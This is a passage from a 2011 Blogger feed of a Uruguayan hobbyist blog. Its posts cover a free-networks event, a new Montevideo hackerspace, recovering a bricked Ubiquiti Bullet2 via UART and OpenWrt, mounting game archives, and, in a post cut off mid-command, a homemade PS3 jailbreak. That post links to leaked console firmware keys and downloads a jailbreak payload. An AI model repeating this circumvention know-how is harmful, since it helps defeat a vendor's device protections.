el mismo lugar, un hackmeeting, con distintos actores de la escena informática uruguaya.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;&lt;b&gt;A quién está dirigido:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El evento está dirigido a todos aquellos que desean participar e informarse sobre las Redes Libres de la región. En general, las JRRL son un evento pensado para acercar integrantes de distintas redes de la región, permitiendo además que personas ajenas a los proyectos se informen y tomen contacto con los distintos proyectos. Esto genera un espacio abierto para compartir e intercambiar experiencias y opiniones entre los actores de distintas redes. En la jornada contaremos con charlas pensadas para impulsar sanos debates y una puesta en común entre las redes.&lt;br /&gt;Sobre las Redes Libres&lt;br /&gt;&lt;br /&gt;Las redes libres están generalmente motorizadas por grupos de personas que de forma autogestionada y desde los principios de las comunidades colaborativas se organizan y trabajan con la premisa de tender una red de datos, construida y administrada por sus propios usuarios y abierta a la comunidad.&lt;br /&gt;Cada red libre tiene sus particularidades técnicas y de gestión, según los objetivos que se dé cada grupo. En algunos casos sólo prestan servicios locales e intercambian datos entre los nodos conectados, mientras que en otros casos suman a esta tarea la extensión del acceso a Internet para ponerlo al alcance de la ciudadanía de manera libre y gratuita.&lt;br /&gt;En todos los casos, la red es de área metropolitana y se circunscribe a la ciudad donde funciona, ofreciendo una vía de comunicación alternativa, gratuita, autogestionada, que pretende democratizar el acceso a la información, reducir la brecha digital, promover el uso de tecnologías y software libre y proveer a la comunidad de un medio físico alternativo, montado sobre insumos muy económicos, para realizar sus comunicaciones.&lt;br /&gt;&lt;br /&gt;¡Los esperamos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mas info: &lt;a href="http://www.redeslibres.org/"&gt;http://www.redeslibres.org/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8394524455476680703?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8394524455476680703/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/02/segundas-jornadas-regionales-de-redes.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8394524455476680703'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8394524455476680703'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/02/segundas-jornadas-regionales-de-redes.html' title='Segundas Jornadas Regionales de Redes Libres'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-296077543905702485</id><published>2011-01-28T10:54:00.000-08:00</published><updated>2011-01-28T10:55:50.548-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='activismo'/><category scheme='http://www.blogger.com/atom/ns#' term='montevideo'/><category scheme='http://www.blogger.com/atom/ns#' term='hackspaces'/><title type='text'>Surge Hackspace Montevideo (HSM)</title><content type='html'>Tengo el agrado de comunicarles que en la ciudad de montevideo al fin se esta fundando un hackspace entre varios miembros de la comunidad de software libre.&lt;br /&gt;&lt;br /&gt;Cito el texto del &lt;a href="http://www.hackspace.org.uy/"&gt;sitio oficial&lt;/a&gt;&lt;a href="http:///"&gt;&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;¿Qué es un HackSpace?&lt;br /&gt;&lt;br /&gt;Un hackspace, también llamado hackerspace o hacklab, es un lugar (físico, en el mundo “real”) donde gente con intereses comunes, usualmente en informática, electrónica, arte o tecnología en general se reúne para socializar o colaborar en diversos proyectos asociados a las disciplinas antes mencionadas.&lt;br /&gt;&lt;br /&gt;Que es HackSpace Montevideo (HSM) ?&lt;br /&gt;&lt;br /&gt;Una intersección entre arte, tecnología y toda disciplina que implique&lt;br /&gt;crear, imaginar, experimentar. HSM es un invento y también una&lt;br /&gt;construcción permanente. Es un intentar juntos armar un rinconcito de&lt;br /&gt;la ciudad donde poder crear cosas maravillosas y compartirlas. Un&lt;br /&gt;rinconcito cristalizado del cyberespacio. No intenta ser una fabrica&lt;br /&gt;sino un atelier. Un lugar donde romper con las estructuras de como&lt;br /&gt;hacer las cosas. Un lugar donde cometer errores solos o en grupo y&lt;br /&gt;volver a intentar. En este espacio investigaremos, discutiremos y nos&lt;br /&gt;divertiremos trabajando en diferentes proyectos así como cada uno&lt;br /&gt;aprenderá y enseñará algo.&lt;br /&gt;&lt;br /&gt;Estamos inspirados en cientos de comunidades alrededor del mundo que&lt;br /&gt;se han armado en lo que se llaman hacklabs o hackspaces. Surgieron a&lt;br /&gt;fines del siglo XX en Italia y buscaban experimentar con tecnología&lt;br /&gt;principalmente. Están basados en el software libre, sus libertades de&lt;br /&gt;aprendizaje y la posibilidad de compartir conocimiento.  En Montevideo&lt;br /&gt;la mayoría de los que estamos fundando HSM hemos venido de la&lt;br /&gt;comunidad de software libre y de activísimo con tecnología. Y a la vez&lt;br /&gt;tambien esperamos que pueda reunir a creadores diversos, brujos y&lt;br /&gt;brujas de los tiempos que corren.&lt;br /&gt;&lt;br /&gt;" Por años, meses y días, redes y comunidades de individuos han ido&lt;br /&gt;intercambiando saberes, proyectando mundos, experimentando juguetes y&lt;br /&gt;dispositivos. Venimos desde mil pensamientos diferentes, somos&lt;br /&gt;migrantes de la metrópoli y de la red, buscamos un lugar donde crear&lt;br /&gt;con prácticas semejantes un espacio-tiempo divergente.&lt;br /&gt;&lt;br /&gt;Queremos ensamblar otra vez la realidad y para ello necesitamos&lt;br /&gt;laboratorios en los que recombinar sus elementos. En una ciudad llena&lt;br /&gt;de falsas seguridades y verdaderos miedos, queremos hacer surgir un&lt;br /&gt;lugar hecho de imaginario, sueños, carne, metal y bits."&lt;br /&gt;&lt;br /&gt;[anonimo en &lt;a href="http://hacklabs.org/"&gt;hacklabs.org&lt;/a&gt;]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-296077543905702485?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/296077543905702485/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/01/surge-hackspace-montevideo-hsm.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/296077543905702485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/296077543905702485'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/01/surge-hackspace-montevideo-hsm.html' title='Surge Hackspace Montevideo (HSM)'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4991791883161230851</id><published>2011-01-10T16:08:00.000-08:00</published><updated>2011-01-10T16:09:56.911-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openwrt'/><category scheme='http://www.blogger.com/atom/ns#' term='bullet2'/><category scheme='http://www.blogger.com/atom/ns#' term='bus-pirate'/><title type='text'>Unbricking the Bullet2(english)</title><content type='html'>I had the Bullet2 archived and i decided to update the firmware but i bricked it. &lt;br /&gt;&lt;br /&gt;The bootloader did not work from the lan so I proceeded to open the &lt;a href="http://www.ubnt.com/bullet"&gt;Bullet2&lt;/a&gt; and connect it to an interface &lt;a href="http://dangerousprototypes.com/bus-pirate-manual/"&gt;bus-pirate&lt;/a&gt; , which is capable of emulating various protocols including the very old UART at 3.3V which is a transmission standar that uses 4 pin port and is locate onto the PCB Bullet2. &lt;br /&gt;&lt;br /&gt;I did connect the bus-pirate to my computer and with minicom: &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Neuromancer:/home/daedalus# minicom &lt;br /&gt;&lt;br /&gt;Welcome to minicom 2.4-rc1 &lt;br /&gt;&lt;br /&gt;OPTIONS: I18n &lt;br /&gt;Compiled on November 23 2009, 17:11:14. &lt;br /&gt;Port / dev/ttyUSB0 &lt;br /&gt;&lt;br /&gt;Press CTRL-A Z for help on special keys &lt;br /&gt;&lt;br /&gt;* Syntax error, type? for help &lt;br /&gt;HiZ&amp;gt; AT S7 = 45 S0 = 0 L1 V1 X4 &amp;amp; c1 E1 Q0 &lt;br /&gt;No mode set, M for mode &lt;br /&gt;HiZ&amp;gt; M &lt;br /&gt;1. HiZ &lt;br /&gt;2. 1-WIRE &lt;br /&gt;3. UART &lt;br /&gt;4. I2C &lt;br /&gt;5. SPI &lt;br /&gt;6. JTAG &lt;br /&gt;7. RAW2WIRE &lt;br /&gt;8. RAW3WIRE &lt;br /&gt;9. PC KEYBOARD &lt;br /&gt;10. LCD &lt;br /&gt;(1)&amp;gt; 3 &lt;br /&gt;Mode selected &lt;br /&gt;September serial port speed (bps) &lt;br /&gt;1. 300 &lt;br /&gt;2. 1200 &lt;br /&gt;3. 2400 &lt;br /&gt;4. 4800 &lt;br /&gt;5. 9600 &lt;br /&gt;6. 19200 &lt;br /&gt;7. 38400 &lt;br /&gt;8. 57600 &lt;br /&gt;9. 115200 &lt;br /&gt;10. 31 250 (MIDI) &lt;br /&gt;(1)&amp;gt; 5 &lt;br /&gt;Data bits and parity: &lt;br /&gt;1. 8, NONE * default &lt;br /&gt;2. 8, EVEN &lt;br /&gt;3. 8, ODD &lt;br /&gt;4. 9, NONE &lt;br /&gt;(1)&amp;gt; &lt;br /&gt;Stop bits: &lt;br /&gt;1. 1 * default &lt;br /&gt;2. 2 &lt;br /&gt;(1)&amp;gt; &lt;br /&gt;Receive polarity: &lt;br /&gt;1. Idle 1 * default &lt;br /&gt;2. 0 Idle &lt;br /&gt;(1)&amp;gt; &lt;br /&gt;Select output type: &lt;br /&gt;1. Open drain (H = Hi-Z, L = GND) &lt;br /&gt;2. Normal (H = 3.3V, L = GND) &lt;br /&gt;(1)&amp;gt; 2 &lt;br /&gt;READY &lt;br /&gt;UART&amp;gt; (1) &lt;br /&gt;UART bridge. Space continues, anything else exits. &lt;br /&gt;Reset to exit. &lt;br /&gt;+ Ethernet eth0: MAC address 00:15:6 d: ae: 24:68 &lt;br /&gt;IP: 0.0.0.0./255.255.255.255, Gateway: 0.0.0.0 &lt;br /&gt;Default server: 0.0.0.0 &lt;br /&gt;&lt;br /&gt;RedBoot (tm) bootstrap and debug environment [ROMRAM] &lt;br /&gt;Ubiquiti Networks certified release, version 0.9.3.02 - built 15:32:07, Aug 21 2008 &lt;br /&gt;&lt;br /&gt;Copyright (C) 2000, 2001, 2002, 2003, 2004 Red Hat, Inc. &lt;br /&gt;&lt;br /&gt;Board: Ubiquiti ar2315 / 6 based board &lt;br /&gt;RAM: 0x80000000-0x81000000, [0x80040fa0-0x80fe1000] available &lt;br /&gt;FLASH: 0xbfc00000 - 0xbfff0000, 64 blocks of 0x00010000 bytes each. &lt;br /&gt;== Executing boot script in 1,000 seconds - enter ^ C to abort&lt;/div&gt;&lt;br /&gt;At once we get into the bootloader but we need to press Control + C to prevent the bootloader to load and run the kernel, then automatically gives us a shell. &lt;br /&gt;Having set up a shell that ip 192.168.12.2 telnet to connect to that ip port 9000. &lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;RedBoot&amp;gt; ip_address-l-h 192.168.12.1 192.168.12.2/24 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then turn off the startup script that is loading the kernel. &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;RedBoot&amp;gt; fconfig-i &lt;br /&gt;Initialize non-volatile configuration - continue (y / n)? and &lt;br /&gt;Run script at boot: false &lt;br /&gt;Use BOOTP for network configuration: false &lt;br /&gt;Gateway IP address: 192.168.12.1 &lt;br /&gt;Local IP address: 192.168.12.2 &lt;br /&gt;Local IP address mask: 255.255.255.0 &lt;br /&gt;Default server IP address: 192.168.12.1 &lt;br /&gt;Console baud rate: 9600 &lt;br /&gt;GDB connection port: 9000 &lt;br /&gt;Force console for special debug messages: false &lt;br /&gt;Network debug at boot time: false &lt;br /&gt;Update RedBoot non-volatile configuration - continue (y / n)? and&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000:. &lt;br /&gt;... Program from 0x81000000 at 0x80ff0000-0xbffe0000:.&lt;/div&gt;&lt;br /&gt;After i disabled the script i have activated the tftp server with urescue to upload the new version of firmware. &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;RedBoot&amp;gt; urescue &lt;br /&gt;TFTPD 192.168.12.2/255.255.255.0 initialized on port: 69 (Memory: [0x80041000-0x80fe1000]) &lt;br /&gt;TFTPD: waiting for connection ... &lt;br /&gt;TFTPD: waiting for connection ... &lt;br /&gt;TFTPD: waiting for connection ... &lt;br /&gt;TFTPD: Incoming connection from 192.168.12.1:55681 &lt;br /&gt;Received: 2752920 bytes &lt;br /&gt;Firmware Version: XS2.ar2316.OpenWrt.r20728 &lt;br /&gt;Initializing default size partitions for flash 4M. &lt;br /&gt;Created 'kernel' - base: 0xBFC30000, mem base, 0x80041000, entry: 0x80041000, size: 0x000E0000 &lt;br /&gt;Created 'rootfs' - base: 0xBFD10000, mem base; 0xBFD00000, entry: 0x00000000, size: 0x002B0000&lt;/div&gt;&lt;br /&gt;And from the PC into a terminal to climb the new firmware: &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Neuromancer:/home/daedalus# wget &lt;a href="http://downloads.openwrt.org/backfire/10.03/atheros/openwrt-atheros-ubnt2-squashfs.bin"&gt;http://downloads.openwrt.org/backfire/10.03/atheros/openwrt-atheros-ubnt2-squashfs.bin&lt;/a&gt;&lt;br /&gt;Neuromancer:/home/daedalus# /bin/echo-e "mode binary\ntrace\nverbose\nrxmt 60\nput openwrt-atheros-ubnt2-squashfs.bin" | tftp 192.168.12.2&lt;/div&gt;&lt;br /&gt;On the console with minicom we should see: &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Updating FIS directory! &lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000:. &lt;br /&gt;... Program from 0x81000000 at 0x80ff0000-0xbffe0000:. &lt;br /&gt;&lt;br /&gt;Flashing partition 'kernel' (size: 0x000E0000, current data: 0x000E0000) &lt;br /&gt;... Erase from 0xbfc30000-0xbfd10000: .............. &lt;br /&gt;... Program from 0x80041144-0x80121144 at 0xbfc30000: .............. &lt;br /&gt;&lt;br /&gt;Flashing partition 'rootfs' (size: 0x002B0000, actual data: 0x001C0000) &lt;br /&gt;... Erase from 0xbfd10000-0xbffc0000: ........................................... &lt;br /&gt;... Program from 0x80121184-0x802e1184 at 0xbfd10000: ..............&lt;/div&gt;&lt;br /&gt;If we do see this is, it's beacuse the image was loaded and flashed successfully. &lt;br /&gt;Then proceed to clear the cache to load the kernel and run &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;RedBoot&amp;gt; cache off &lt;br /&gt;iedBoot&amp;gt; fis load-d-e kernel &lt;br /&gt;go&lt;/div&gt;&lt;br /&gt;If all goes well we would have to finish watching the kernel messages the same seen with dmesg. &lt;br /&gt;&lt;br /&gt;By default &lt;a href="http://openwrt.org/"&gt;openwrt&lt;/a&gt; is configured with the ip 192.168.1.1 &lt;br /&gt;&lt;br /&gt;We reconfigure the boot script to load the kernel pair to boot with a 2-second timeout. &lt;br /&gt;and last reset &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;RedBoot&amp;gt; fconfig-d &lt;br /&gt;Run script at boot: true? true &lt;br /&gt;Enter script, terminate with empty line &lt;br /&gt;&amp;gt;&amp;gt; Cache off &lt;br /&gt;&amp;gt;&amp;gt; Fis load-d-e kernel &lt;br /&gt;&amp;gt;&amp;gt; Exec &lt;br /&gt;&amp;gt;&amp;gt; &lt;br /&gt;Boot script timeout (1000ms resolution): 5000? 2 &lt;br /&gt;Use BOOTP for network configuration: false? &lt;br /&gt;Gateway IP address: 192.168.12.1? &lt;br /&gt;Local IP address: 192.168.12.1? &lt;br /&gt;Local IP address mask: 255.255.255.0? &lt;br /&gt;Default server IP address: 192.168.12.1? &lt;br /&gt;Console baud rate: 9600? &lt;br /&gt;GDB connection port: 9000? &lt;br /&gt;Force console for special debug messages: false? &lt;br /&gt;Network debug at boot time: false? &lt;br /&gt;Update RedBoot non-volatile configuration - continue (y / n)? and&lt;br /&gt;... Erase from 0xbffe0000-0xbfff0000:. &lt;br /&gt;... Program from 0x81000000 at 0x80ff0000-0xbffe0000:. &lt;br /&gt;RedBoot&amp;gt; reset&lt;/div&gt;&lt;br /&gt;We waited a minute and telnet to 192.168.1.1 and voila! &lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;Neuromancer:/home/daedalus# telnet 192.168.1.1 &lt;br /&gt;Trying 192.168.1.1 .... &lt;br /&gt;&lt;br /&gt;BusyBox v1.15.3 (2010-04-06 3:13:33 AM EST) built-in shell (ash) &lt;br /&gt;Enter 'help' for a list of built-in commands. &lt;br /&gt;&lt;br /&gt;_______ ________ __ &lt;br /&gt;| |.-----.-----.-----.| | | |.----.| | _ &lt;br /&gt;| - | | _ |-__ | | | | | | | _ | | _ | &lt;br /&gt;__|_____|__|__||________||__| |_______|| |____| &lt;br /&gt;| __ | WIRELESSFREEDOM &lt;br /&gt;Backfire (10.03, r20728) -------------------------- &lt;br /&gt;* 1 / 3 shot Kahlua In a shot glass, layer Kahlua &lt;br /&gt;* 1 / 3 shot Bailey's on the bottom, Then Bailey's, &lt;br /&gt;* 1 / 3 shot Vodka Vodka Then. &lt;br /&gt;-------------------------------------------------- - &lt;br /&gt;root@OpenWrt:~#&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4991791883161230851?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4991791883161230851/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/01/unbricking-bullet2english.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4991791883161230851'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4991791883161230851'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/01/unbricking-bullet2english.html' title='Unbricking the Bullet2(english)'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-4941745207737077844</id><published>2011-01-09T10:31:00.000-08:00</published><updated>2011-01-09T10:35:20.240-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='misc'/><category scheme='http://www.blogger.com/atom/ns#' term='libmpq'/><category scheme='http://www.blogger.com/atom/ns#' term='juegos'/><title type='text'>Accediendo a los contenidos de un empaquetado MoPaQ</title><content type='html'>MoPaQ es un formato de empaquetados (privativo) para juegos desarrollado por blizzard y utilizado en juegos como Diablo,DiabloII y Stacraft y warcraft2 y 3.&lt;br /&gt;Hoy en dia hay una implementacion gpl2 de este formato que se llama &lt;a href="http://libmpq.org/"&gt;libmpq&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Primero descargamos las dependencias&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#apt-get install libbz2-dev libfuse-dev&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego clonamos los repositorios&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git svn clone https://libmpq.org/svn/libmpq/trunk libmpq&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git clone http://op-co.de/mpqfuse.git/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$cd libmpq&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego compilamos&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$./autogen.sh &amp;amp;&amp;amp;&amp;nbsp;./configure&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#make &amp;amp;&amp;amp;&amp;nbsp;make install&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$cd ../mqfuse&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$make&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Montamos cualquier archivo .mpq a un directorio&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#./mpqfuse .wine/drive_c/Archivos\ de\ programa/Diablo\ II/d2video.mpq /media/pruebas/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#ls /media/pruebas -lah&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;total 4,0K&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;drwxr-xr-x  2 root root    2 dic 31  1969 .&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;drwxr-xr-x 14 root root 4,0K ene  9 15:28 ..&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;drwxr-xr-x  2 root root    1 dic 31  1969 data&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;-r--r--r--  1 root root  661 dic 31  1969 (listfile)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y por ultimo reproducimos alguna de las cinematicas del juego&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#mplayer /media/pruebas/data/local/video/Eng/Act02start640x292.bik&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/__2CpOkNZ4-k/TSn-plM2RXI/AAAAAAAAAVA/3QySAbzj1d0/s1600/Pantallazo-5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="400" src="http://2.bp.blogspot.com/__2CpOkNZ4-k/TSn-plM2RXI/AAAAAAAAAVA/3QySAbzj1d0/s400/Pantallazo-5.png" width="361" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Interesante no?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-4941745207737077844?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/4941745207737077844/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2011/01/accediendo-los-contenidos-de-un.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4941745207737077844'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/4941745207737077844'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2011/01/accediendo-los-contenidos-de-un.html' title='Accediendo a los contenidos de un empaquetado MoPaQ'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/__2CpOkNZ4-k/TSn-plM2RXI/AAAAAAAAAVA/3QySAbzj1d0/s72-c/Pantallazo-5.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-8885158302472702000</id><published>2011-01-05T17:47:00.000-08:00</published><updated>2011-12-28T04:14:49.667-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ps3'/><category scheme='http://www.blogger.com/atom/ns#' term='ppc'/><category scheme='http://www.blogger.com/atom/ns#' term='powerpc'/><category scheme='http://www.blogger.com/atom/ns#' term='pl3groopic'/><category scheme='http://www.blogger.com/atom/ns#' term='jailbreak'/><category scheme='http://www.blogger.com/atom/ns#' term='usbirtoy'/><title type='text'>Mi Jailbreak casero para la PS3</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/__2CpOkNZ4-k/TSUeyT25kUI/AAAAAAAAAU8/4qD_c3jCzNM/s1600/img.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="298" src="http://1.bp.blogspot.com/__2CpOkNZ4-k/TSUeyT25kUI/AAAAAAAAAU8/4qD_c3jCzNM/s400/img.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La fiebre del jailbreak ya se esta por terminar con el descubrimiento de casi todas las claves de todas las versiondes del firmware de la ps3 las cuales se pueden encontrar &lt;a href="https://spreadsheets.google.com/pub?key=0AmWh9I5NKgNddE5NcnlxdHk3Nm9IYVR3djItTE9FT%20%203c&amp;amp;hl=en_GB&amp;amp;output=html"&gt;aquí&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Por eso queria compartir con ustedes como hice mi propio jailbreak casero basado en un pic &lt;a href="http://ww1.microchip.com/downloads/en/devicedoc/39632c.pdf"&gt;18f2550&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Bueno en realidad no lo hice yo, lo que hice fue comprar una placa ya armada y con todos los componentes soldados la cual viene flasheada con un firmware para otro propopsito, les estoy hablando del &lt;a href="http://dangerousprototypes.com/usb-ir-toy-manual/"&gt;USB-IRtoy&lt;/a&gt; el cual pueden comprar &lt;a href="http://www.seeedstudio.com/depot/usb-infraed-toy-p-607.html?cPath=61_68"&gt;aquí&lt;/a&gt; por tan solo 14 dolares.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://dangerousprototypes.com/wp-content/media/2010/11/irtoy_lrg-w490.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="229" src="http://dangerousprototypes.com/wp-content/media/2010/11/irtoy_lrg-w490.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Luego de esperar 30 dias me llegaron dos de estos y me puse a invesitgar y me encontre con que venian flasheados con un bootloader llamado &lt;a href="http://www.diolan.com/pic/bootloader.html"&gt;diolan&lt;/a&gt; el cual tiene la licencia &lt;a href="http://www.gnu.org/licenses/gpl-2.0.html"&gt;gplv2&lt;/a&gt; y que el punto de entrada de ejecucion es el 1000.&lt;br /&gt;&lt;br /&gt;Asi que baje el &lt;a href="http://pl3groopic.blogspot.com/"&gt;PL3GrooPic&lt;/a&gt; el cual &amp;nbsp;tambien esta liberado bajo la licencia &lt;a href="http://www.gnu.org/licenses/gpl.html"&gt;gplv3&lt;/a&gt; y ya viene compilado para cada version del firmware de la ps3.&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;wget http://dl.dropbox.com/u/4708147/PSGrooPIC/builds/PL3/PSGrooPIC_PL3_e10bf9808249134c77b857247420478ceea0a565.zip&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;unzip 